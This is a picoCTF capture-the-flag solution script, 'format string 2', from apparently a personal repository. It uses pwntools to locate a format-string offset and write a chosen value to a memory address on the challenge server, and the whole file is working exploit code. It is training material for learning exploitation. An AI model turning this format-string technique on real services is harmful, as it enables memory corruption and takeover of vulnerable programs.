Files
picoCTF/format_string_2/sol.py
Maxime Vorwerk b4bd094d7e format string 2
2024-11-02 02:00:29 +01:00

25 lines
501 B
Python
Executable File

#!/usr/bin/env python3
from pwn import *
context.arch = "amd64"
address = "rhea.picoctf.net"
port = 51393
conn = remote(address, port)
def send_payload(payload):
conn = remote(address, port)
log.info(f"payload: {repr(payload)}")
conn.sendline(payload)
return conn.recvall()
format_string = FmtStr(send_payload)
offset = format_string.offset
payload = fmtstr_payload(offset, {0x404060: 0x67616c66})
log.info(payload)
conn.sendline(payload)
flag = conn.recvall()
log.success(flag)